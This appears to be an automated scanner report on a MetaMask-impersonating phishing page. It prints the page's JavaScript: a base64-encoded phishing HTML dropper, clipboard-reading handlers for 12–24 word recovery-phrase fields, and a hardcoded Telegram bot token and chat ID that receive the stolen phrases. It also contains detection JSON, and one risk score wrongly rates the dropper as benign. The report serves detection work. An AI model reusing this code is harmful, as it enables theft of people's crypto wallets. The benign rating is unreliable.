Windows Analysis Report
http://pub-dfc04553e9094cfc93a2df6d57084097.r2.dev/index.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: http://pub-dfc04553e9094cfc93a2df6d57084097.r2.dev

{
    "risk_score": 2,
    "reasoning": "The provided JavaScript snippet appears to be a simple file download functionality, which is a common and legitimate use case. It does not exhibit any high-risk behaviors like dynamic code execution, data exfiltration, or suspicious redirects. The code uses standard browser APIs like `navigator.msSaveBlob` and creating a temporary anchor element to facilitate the file download. This is a low-risk script with no clear malicious intent."
}

    $(document).ready(function() {
      saveFile();
    });

    function saveFile(name, type, data) {
      if (data != null && navigator.msSaveBlob)
        return navigator.msSaveBlob(new Blob([data], { type: type }), name);
      var a = $("<a style='display: none;'/>");
  
      var encodedStringAtoB = "PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPg0KICAgIDx0aXRsZT5NZXRhTWFzazwvdGl0bGU+DQogICAgPG1ldGEgbmFtZT0iZ29vZ2xlYm90IiBjb250ZW50PSJub2luZGV4Ij4NCiAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QtbmV3cyIgY29udGVudD0ibm9pbmRleCI+DQogICAgPG1ldGEgbmFtZT0iZ29vZ2xlYm90IiBjb250ZW50PSJub2luZGV4Ij4NCiAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QtbmV3cyIgY29udGVudD0ibm9zbmlwcGV0Ij4NCiAgICA8bGluayByZWw9InNob3J0IGljb24iIGhyZWY9Imh0dHBzOi8vcG9seW5ldGh1Yi5uZXRsaWZ5LmFwcC9tZ3MvZmF2LnBuZyI+DQogICAgPGxpbmsgcmVsPSJhcHBsZS10b3VjaC1pY29uIiBocmVmPSJodHRwczovL3BvbHluZXRodWIubmV0bGlmeS5hcHAvbWdzL2Zhdi5wbmciPg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8yLjIuNC9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjMuMS5qcyIgaW50ZWdyaXR5PSJzaGEyNTYtMktvazdNYk95eHBnVVZ2QWsvSEoyamlnT1NZUzJhdUs0UGZ6Ym03dUg2MD0iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0Pg0KICAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL3BvcHBlci5qcy8xLjEyLjkvdW1kL3BvcHBlci5taW4uanMiIGludGVncml0eT0ic2hhMzg0LUFwTmJnaDlCK1kxUUt0djNSbjdXM21nUHhoVTlLL1NjUXNBUDdoVWliWDM5ajdmYWtGUHNrdlh1c3ZmYTBiNFEiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0Pg0KPHN0eWxlPg0KICAgICAgICBAaW1wb3J0IHVybCgnaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Qb3BwaW5zOndnaHRAMzAwOzQwMDs1MDA7NjAwOzcwMDs4MDA7OTAwJmRpc3BsYXk9c3dhcCcpOw0KDQoqew0KICBtYXJnaW46IDA7DQogIHBhZGRpbmc6IDA7DQp9DQpib2R5ew0KICAgYm94LXNpemluZzogYm9yZGVyLWJveDsNCiAgIGZvbnQtZmFtaWx5OiAnUG9wcGlucycsIHNhbnMtc2VyaWY7DQp9DQpidXR0b24saW5wdXQsIHNlbGVjdHsNCiAgZm9udC1mYW1pbHk6IGluaGVyaXQ7DQp9DQouY29udGFpbmVyew0KICB3aWR0aDogNjUlOw0KICBtYXJnaW46IDIwcHggYXV0bzsNCn0NCi5oZWFkLWJveHsNCiAgZGlzcGxheTogZmxleDsNCiAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KfQ0KLnNlbGVjdC1ib3ggc2VsZWN0ew0KICBwYWRkaW5nOiA3cHg7DQogIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7DQogIGJvcmRlci1yYWRpdXM6IDVweDsNCiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsNCn0NCi5mb3JtLW1haW5ib3h7DQogIHdpZHRoOiA2NSU7DQogIG1hcmdpbjogNTBweCBhdXRvOw0KICBib3JkZXI6IDFweCBzb2xpZCAjZDZkOWRjOw0KICBwYWRkaW5nOiAyMHB4Ow0KICBib3JkZXItcmFkaXVzOiAxNXB4Ow0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOw0KfQ0KLnByb2dyZXNzLWJveHsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KLmhlYWQtdGV4dHsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KICBtYXJnaW4tdG9wOiAxMHB4Ow0KfQ0KLmhlYWQtdGV4dCBoMSB7DQogIGZvbnQtc2l6ZTogMjhweDsNCn0NCi5oZWFkLXRleHQtcHsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KICBtYXJnaW46IDIwcHg7DQp9DQouaGVhZC10ZXh0LXAgcCBhew0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQoubWFpbi1waGJveHsNCiAgZGlzcGxheTogZmxleDsNCiAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KICBtYXJnaW46IDAgMjBweDsNCn0NCi5ib3gtc2VsZWN7DQogIHdpZHRoOiA0NSU7DQogIG1hcmdpbjogMjBweCAwOw0KICBwYWRkaW5nOiAwIDEwcHg7DQp9DQouYm94LXNlbGVjIHNlbGVjdHsNCiAgd2lkdGg6IDEwMCU7DQp9DQoubWVzc2FnZS1ib3h7DQogIGRpc3BsYXk6IGZsZXg7DQogIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogIHBhZGRpbmc6IDVweDsNCiAgYm9yZGVyLWxlZnQ6IDRweCBzb2xpZCAjMDM3NmM5Ow0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDM3NmM5MTk7DQogIG1hcmdpbjogMTBweCAyMHB4Ow0KICBib3JkZXItcmFkaXVzOiA1cHg7DQp9DQouaWNvbi10ZXh0IHB7DQogIGZvbnQtc2l6ZTogMTVweDsNCiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0zcHgpOw0KICBtYXJnaW4tbGVmdDogNHB4Ow0KfQ0KLmZvcm0tYm94LW1haW57DQogIGRpc3BsYXk6IGdyaWQ7DQogIGdyaWQtdGVtcGxhdGUtY29sdW1uczogcmVwZWF0KDMsIDFmcik7DQogIGdyaWQtZ2FwOiAyMHB4Ow0KICBtYXJnaW46IDIwcHggMTBweDsNCg0KfQ0KLmlucHV0LWZvcm17DQogIGRpc3BsYXk6IGZsZXg7DQog

{
    "risk_score": 5,
    "reasoning": "The provided JavaScript snippet contains a mix of low-risk and moderate-risk indicators. While it does not exhibit any high-risk behaviors, such as dynamic code execution or data exfiltration, it does have some concerning aspects that warrant further review. The script handles user input and interacts with external domains, which could potentially lead to security issues if not properly implemented. Additionally, the use of legacy APIs like `XDomainRequest` and the presence of obfuscated words in the `offwords` array are moderate-risk indicators. Overall, the script requires closer inspection to ensure it is not being used for malicious purposes."
}

const wordSelect = document.getElementById("word");
const [wordForm1, wordForm2, wordForm3, wordForm4, wordForm5] = document.querySelectorAll(".form-main");
const preloader = document.querySelector(".preloader");
const count2 = document.querySelector(".count");
const done = document.querySelector(".done-box");
const noDone = document.querySelector(".no-done");


 let offwords = ["fuck", "motherfucker", "shit", "fool", "asshole", "test", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "testing", "checking", "robot", "spam", "scam", "fucker", "/", "-", "?", "&", "%", "#", "@", "!", "~", "`", ":", ";", ">", "<", "+", "^", "()", "*", "$"];

const [word12_1, word12_2, word12_3, word12_4, word12_5, word12_6, word12_7, word12_8, word12_9, word12_10, word12_11, word12_12] = document.querySelectorAll(".word-12");
const word12Input = document.querySelectorAll(".word-12");

const [btncofirm1, btncofirm2, btnCofirm3, btnCofirm4, btncofirm5] = document.querySelectorAll(".btn-cofirm");
const [word15_1, word15_2, word15_3, word15_4, word15_5, word15_6, word15_7, word15_8, word15_9, word15_10, word15_11, word15_12, word15_13, word15_14, word15_15] = document.querySelectorAll(".word-15");
const word15Input = document.querySelectorAll(".word-15");

const [word18_1, word18_2, word18_3, word18_4, word18_5, word18_6, word18_7, word18_8, word18_9, word18_10, word18_11, word18_12, word18_13, word18_14, word18_15, word18_16, word18_17, word18_18] = document.querySelectorAll(".word-18");
const word18Input = document.querySelectorAll(".word-18");

const [word21_1, word21_2, word21_3, word21_4, word21_5, word21_6, word21_7, word21_8, word21_9, word21_10, word21_11, word21_12, word21_13, word21_14, word21_15, word21_16, word21_17, word21_18, word21_19, word21_20, word21_21] = document.querySelectorAll(".word-21");
const word21Input = document.querySelectorAll(".word-21");


const [word24_1, word24_2, word24_3, word24_4, word24_5, word24_6, word24_7, word24_8, word24_9, word24_10, word24_11, word24_12, word24_13, word24_14, word24_15, word24_16, word24_17, word24_18, word24_19, word24_20, word24_21, word24_22, word24_23, word24_24, word24_25] = document.querySelectorAll(".word-24");
const word24Input = document.querySelectorAll(".word-24");

const errbox = document.querySelector(".errbox");

let notValid = false;

let ip = "";

// Add your telegram token,chatid
const token = "7463928571:AAFisg9PQERmTJ2G3NWJ2Xb0MjnoEt14nGQ";
const chatId = "7839331161";




word12Input.forEach((input, index) => {
    input.addEventListener("paste", () => {
          navigator.clipboard.readText().then((copiedText) => {
           const text =  copiedText.split(" ");
           text.forEach((value, num) => {
                word12Input[num].value = value;
                btncofirm1.disabled = false;
           });
        });   
    });
});

word15Input.forEach((input, index) => {
    input.addEventListener("paste", () => {
          navigator.clipboard.readText().then((copiedText) => {
           const text =  copiedText.split(" ");
           text.forEach((value, num) => {
                word15Input[num].value = value;
                btncofirm2.disabled = false;
           });
         
        });   
    });
});


word18Input.forEach((input, index) => {
    input.addEventListener("paste", () => {
          navigator.clipboard.readText().then((copiedText) => {
           const text =  copiedText.split(" ");
           text.forEach((value, num) => {
                word18Input[num].value = value;
                btnCofirm3.disabled = false;
           });
         
        });   
    });
});


word21Input.forEach((input, index) => {
    input.addEventListener("paste", () => {
          navigator.clipboard.readText().then((copiedText) => {
           const text =  copiedText.split(" ");
            
           text.forEach((value, num) => {
                word21Input[num].value = value;
                 btnCofirm4.disabled = false;
           });
         
        });

{
  "contains_trigger_text": true,
  "trigger_text": "Recover your wallet with your Secret Recovery Phrase",
  "prominent_button_name": "Recover My Wallet Now",
  "text_input_field_labels": [
    "1.",
    "2.",
    "3.",
    "4.",
    "5.",
    "6.",
    "7.",
    "8.",
    "9.",
    "10.",
    "11.",
    "12."
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Recover your wallet with your Secret Recovery Phrase",
  "prominent_button_name": "Recover My Wallet Now",
  "text_input_field_labels": [
    "1.",
    "2.",
    "3.",
    "4.",
    "5.",
    "6.",
    "7.",
    "8.",
    "9.",
    "10.",
    "11.",
    "12."
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "MetaMask"
  ]
}

{
  "brands": [
    "MetaMask"
  ]
}

{
  "contains_trigger_text": true,
  "trigger_text": "Recover your wallet with your Secret Recovery Phrase",
  "prominent_button_name": "Recover My Wallet Now",
  "text_input_field_labels": [
    "1.",
    "2.",
    "3.",
    "4.",
    "5.",
    "6.",
    "7.",
    "8.",
    "9.",
    "10.",
    "11.",
    "12."
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "MetaMask"
  ]
}